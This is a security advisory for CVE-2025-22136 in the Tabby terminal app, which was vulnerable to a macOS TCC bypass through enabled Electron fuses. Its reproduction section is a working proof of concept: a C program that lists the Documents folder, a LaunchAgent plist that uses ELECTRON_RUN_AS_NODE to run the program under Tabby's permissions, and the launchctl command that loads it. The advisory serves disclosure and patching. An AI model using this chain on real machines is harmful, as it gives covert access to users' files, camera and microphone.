Skip to content

TCC Bypass via Misconfigured Node Fuses

High
Eugeny published GHSA-prcj-7rvc-26h4 Jan 8, 2025

Package

tabby

Affected versions

<1.0.217

Patched versions

1.0.217

Description

Description

Tabby enables several high-risk Electron Fuses, including RunAsNode, EnableNodeCliInspectArguments, and EnableNodeOptionsEnvironmentVariable. These fuses create potential code injection vectors even though the application is signed with hardened runtime and lacks dangerous entitlements such as com.apple.security.cs.disable-library-validation and com.apple.security.cs.allow-dyld-environment-variables.

According to Electron's official documentation https://www.electronjs.org/docs/latest/tutorial/fuses, these fuses can be safely disabled for most applications as they primarily serve debugging and testing purposes. Their presence in production environments is strongly discouraged. When enabled, these fuses effectively circumvent the security benefits provided by hardened runtime and the intentional omission of dangerous entitlements.

This vulnerability is particularly concerning given that Tabby holds powerful user-approved TCC (Transparency, Consent, and Control) permissions to access sensitive components including the camera, microphone, and personal folders (Downloads, Documents, etc.) through Apple Events. While these TCC permissions are designed to protect user privacy by preventing unauthorized access to sensitive data and hardware components—even from processes with root privileges—the enabled fuses allow attackers to bypass these protections through code injection. Any injected code or executed program inherits Tabby's TCC permissions, effectively compromising macOS's privacy protection mechanisms.

Impact

With enabled high-risk Electron fuses, TCC bypass can be achieved through multiple attack vectors (ELECTRON_RUN_AS_NODE, NODE_OPTIONS, --inspect option), presenting significant business impacts:

  1. Privacy Breach: Attackers who successfully exploit these fuses can access the user's personal folders, camera and microphone without additional prompts.

  2. Security Compromise: Malicious code can be executed within Node.js context, inheriting all privileges and permissions granted to Tabby, while bypassing macOS's built-in security controls despite hardened runtime being enabled, without requiring sophisticated exploitation techniques (like dylib injection) or dangerous entitlements.

  3. Data Security: Unauthorized access to hardware enables covert surveillance, potentially compromising user privacy at any time.

The enabled fuses effectively nullify the security benefits of hardened runtime and the careful selection of entitlements, creating multiple attack vectors that are simpler to exploit than traditional dylib injection methods.

Considering Tabby's huge user base, and extensive TCC permissions it holds, the consequence is particularly concerning.

Mitigation

Disable the risky Electron fuses while maintaining the application's core functionality

Reproduction

This vulnerability is relevant in post-exploitation scenarios where an attacker has gained initial device access through methods like service exploitation or phishing. After establishing a C2 or reverse shell connection with standard user privileges, the attacker faces TCC restrictions that prevent access to protected resources. Since C2 agents don't have granted TCC permissions by default, exploiting Tabby's overly permissive entitlements becomes an attractive privilege escalation path to bypass these restrictions and access protected resources. This scenario is common during the post-exploitation and local privilege escalation phases of an attack.

1: Download the tabby app from the official release and use the codesign utility to inspect its code signing information and entitlements. Tabby does have the Hardened Runtime enabled, and lack com.apple.security.cs.allow-dyld-environment-variables, making it difficult to exploit via dylib injection.

adler@adlers-Mac-mini ~ % codesign -dv --entitlement :- /Applications/Tabby.app | xmllint --format -
Executable=/Applications/Tabby.app/Contents/MacOS/Tabby
Identifier=org.tabby
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=501 flags=0x10000(runtime) hashes=5+7 location=embedded
Signature size=8994
Timestamp=Dec 25, 2024 at 6:02:33 AM
Info.plist entries=38
TeamIdentifier=V4JSMC46SY
Runtime Version=14.0.0
Sealed Resources version=2 rules=13 files=1524
Internal requirements count=1 size=172
warning: Specifying ':' in the path is deprecated and will not work in a future release
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>com.apple.security.automation.apple-events</key>
    <true/>
    <key>com.apple.security.cs.allow-jit</key>
    <true/>
    <key>com.apple.security.cs.allow-unsigned-executable-memory</key>
    <true/>
    <key>com.apple.security.device.camera</key>
    <true/>
    <key>com.apple.security.device.microphone</key>
    <true/>
  </dict>
</plist>

2: Use sudo npx @electron/fuses read --app /Applications/Tabby.app command to check enabled fuses, we found multiple risky fuses are enabled.

adler@adlers-Mac-mini ~ % sudo npx @electron/fuses read --app /Applications/Tabby.app
Password:
Analyzing app: Tabby.app
Fuse Version: v1
  RunAsNode is Enabled
  EnableCookieEncryption is Disabled
  EnableNodeOptionsEnvironmentVariable is Enabled
  EnableNodeCliInspectArguments is Enabled
  EnableEmbeddedAsarIntegrityValidation is Disabled
  OnlyLoadAppFromAsar is Disabled
  LoadBrowserProcessSpecificV8Snapshot is Disabled
  GrantFileProtocolExtraPrivileges is Enabled
npm notice
npm notice New major version of npm available! 10.9.2 -> 11.0.0
npm notice Changelog: https://github.com/npm/cli/releases/tag/v11.0.0
npm notice To update run: npm install -g [email protected]
npm notice

3: Create a test program that attempts to access the Documents folder, which is protected by TCC. Output of the command execution will be saved as /tmp/Documents.txt.

#include <stdio.h>
#include <syslog.h>
#include <stdlib.h>

int main()
{
     FILE *fp;
     FILE *outputFile;
     char path[1035];

     outputFile = fopen("/tmp/Documents.txt", "w");
     if (outputFile == NULL) {
         printf("Failed to open output file\n");
         return 1;
     }

     fp = popen("ls -Ol /Users/adler/Documents", "r");
     if (fp == NULL) {
         printf("Failed to run command\n");
         fclose(outputFile);
         return 1;
     }

     while (fgets(path, sizeof(path), fp) != NULL) {
         fprintf(outputFile, "%s", path);
     }

     pclose(fp);
     fclose(outputFile);

     return 0;
}

Compile it:

adler@adlers-Mac-mini tcc-exp % nano tabby_tcc_bypass.c
adler@adlers-Mac-mini tcc-exp % gcc tabby_tcc_bypass.c -o tabby_tcc_bypass

Execute the program directly through Terminal. Due to Terminal lacking Documents folder access permissions, the listing operation failed.

image

4: Create a launch agent configuration at ~/Library/LaunchAgents/com.tabby.tcc.bypass.plist with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
           <key>ELECTRON_RUN_AS_NODE</key>
           <string>true</string>
    </dict>
    <key>Label</key>
    <string>com.tabby.tcc.bypass</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Tabby.app/Contents/MacOS/Tabby</string>
        <string>-e</string>
        <string>const { spawn } = require("child_process"); spawn("/Users/adler/tcc-exp/tabby_tcc_bypass");</string>        </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

5: Before exploitation, demonstrate the initial security state by confirming the Documents folder is inaccessible even with root privileges. Then, use the launchctl utility to execute launchctl load /Users/adler/Library/LaunchAgents/com.tabby.launcher.plist, this causes the program to inherit Tabby's TCC permissions as a child process, successfully accessing the Documents folder.

Check /tmp/Documents.txt to verify that contents of the Documents folder are now listed, confirming successful TCC bypass. This same approach can be extended to access other TCC-protected resources including the Downloads folder, camera, and microphone.

image

Severity

High

CVE ID

CVE-2025-22136

Weaknesses

No CWEs

Credits